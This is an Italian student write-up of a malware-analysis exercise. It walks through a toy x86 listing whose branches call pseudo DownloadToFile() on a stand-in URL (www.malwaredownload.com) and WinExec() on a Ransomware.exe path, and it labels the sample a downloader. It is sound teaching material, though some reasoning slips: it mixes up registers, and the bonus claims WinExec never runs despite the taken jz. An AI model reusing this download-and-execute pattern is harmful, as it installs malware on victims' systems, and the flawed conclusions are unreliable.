

Obiettivo: Con riferimento al codice nelle figure sotto, rispondere ai seguenti quesiti

1 Spiegare, motivando, quale salto condizionale effettua il Malware.

2 Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.

3 Quali sono le diverse funzionalità implementate all'interno del Malware?

4 Con riferimento alle istruzioni "call" presenti in tabella 2 e 3, dettagliate come sono passati gli argomenti alle successive chiamate di funzione.

5 Bonus, Ulteriori dettagli sul codice del Malware

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Punto 1

Analizzando il codice del Malware della tabella 1 ci rendiamo conto che ci sono due salti condizionali (conditional jump). Il primo lo troviamo nella locazione di memoria **0040105B** ed è un **jnz (jump not zero)**, cioè salta alla locazione di memoria specifica se **ZF** è 0. Mentre il secondo salto si trova nell'allocazione **00401068** ed è **jz (jump zero)**, cioè salta alla locazione di memoria specifica allo stesso modo se **ZF** è 1.

ZF (Zero Flag) fa parte del **registro Status Flag (EFLAGS)** che prende decisioni in base al valore di un determinato flag, nel processore x86 è un registro a 32 bit dove ogni bit rappresenta un flag. Di nostro interesse è appunto il flag ZF (Zero Flag) che può assumere valore 0 o 1.

Per effettuare il salto condizionale abbiamo bisogno della combinazione **cmp** e **jmp** dove l'istruzione **cmp** (**Compare**) è simile all'istruzione **sub** ma non modifica gli operandi, **va invece a settare i flags ZF (Zero Flag) e CF (Carry Flag) in 0 o 1**; i salti condizionali del jump utilizzano infatti il contenuto dei flags per determinare se saltare o meno ad una data locazione.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Possiamo notare che nel nostro caso nel primo salto condizionale (jnz) non effettua il salto, in quanto l'istruzione mov copia sul registro EAX il valore 5 e cmp "confronta" il registro EAX con un altro valore 5, quindi come abbiamo spiegato sopra nel caso di **jnz: cmp → destinazione=sorgente → ZF=1 quindi non avviene il salto condizionale perché ZF è =1 e non 0**. (riquadri in rosso nell'immagine seguente)

Mentre nel secondo salto condizionale il salto avviene, in quanto l'istruzione mov copia sul registro EBX il valore 10 che poi viene incrementato successivamente con l'istruzione **inc**, diventando 11. Infine l'istruzione cmp "compara" il registro EBX con un altro valore 11, quindi abbiamo in questo caso **jz: cmp → destinazione=sorgente → ZF=1 quindi il salto condizionale avviene perché ZF è =1**. (riquadri in verde nell'immagine seguente)

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Punto 2

Nel secondo punto dell'esercitazione riproduciamo un diagramma di flusso del codice del Malware dato con i rispettivi salti condizionali, se avvengo e non. La freccia verde indica quando il salto viene effettuato, mentre quella rossa quando il salto non viene effettuato.

00401040	mov	EAX, 5
00401044	mov	EBX, 10
00401048	cmp	EAX, 5
0040105B	jnz	loc 0040BBA0 ; tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

0040105F	inc	EBX
00401064	cmp	EBX, 11
00401068	jz	loc 0040FFA0 ; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Continuo del codice
che non conosciamo.

Punto 3


Analizzando il codice troviamo che le funzionalità implementate dal Malware sono due: nella tabella 2 **DownloadToFile()** e cioè un API di Windows (Application Programming Interface), che serve a scaricare bit da internet e salvarli all'interno di un file sul disco rigido infetto. Nella tabella 3 invece **WinExec()**, un'altra API che esegue un processo e cioè avvia un programma, nel nostro caso avvia il Malware precedentemente scaricato.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Punto 4

Analizzando ancora più affondo il codice sulle tabelle 2 e 3 comprendiamo le funzionalità implementate che vengo chiamate attraverso l'istruzione **call** che effettuano una chiamata di funzione. Infatti nella tabella 2 possiamo vedere che i parametri vengo inseriti dapprima dall'istruzione **mov** che copia l'**indirizzo url del Malware**, contenuto nel registro EDI, nel registro EAX che poi viene posizionato in cima allo Stak dall'istruzione **Push** seguente, fornendo i parametri per la chiamata alla funzione di **DownloadToFile()**, che andrà a scaricare il nostro Malware.



Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Nella tabella 3 avviene lo stesso meccanismo, solo che in questo caso nel registro EDI è contenuto il **path del Malware** precedentemente scaricato. L'istruzione **mov** copia il contenuto del registro EDI nel registro EAX che viene poi posizionato nello Stack dalla seguente istruzione **Push**, in fine abbiamo la chiamata di funzione a **WinExec()** che eseguirà il Malware.



Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Punto 5 Bonus

Dopo avere analizzato il codice dato nel dettaglio nei punti precedenti, possiamo dedurre che sia un **Downloader**, lo possiamo infatti intuire dalle sue funzionalità implementate che vanno a scaricare un Malware per poi avviarlo sul sistema attaccato.

Ma la cosa più interessante è che in base al codice dato il Malware non viene avviato, perché come abbiamo visto nel punto 1, il suo primo salto condizionale **jnz** non avviene e quindi non si sposta nella parte di codice che implementa la funzione di **Downloadtofile()**, che dovrebbe scaricare il Malware dall'url indicato.

Non scaricando il Malware la funzione **WinExec()** nella tabella 3 non avvierà nessun programma. Certo è che questa condizione rimarranno tali finché non si verificheranno le condizioni che **jnz** troverà la **ZF** settata a 0 (come abbiamo spiegato al punto 1) e quindi procederà al salto condizionale nella locazione di memoria della tabella 2 dove procederà il codice che scaricare il Malware e quindi sarà successivamente avviato.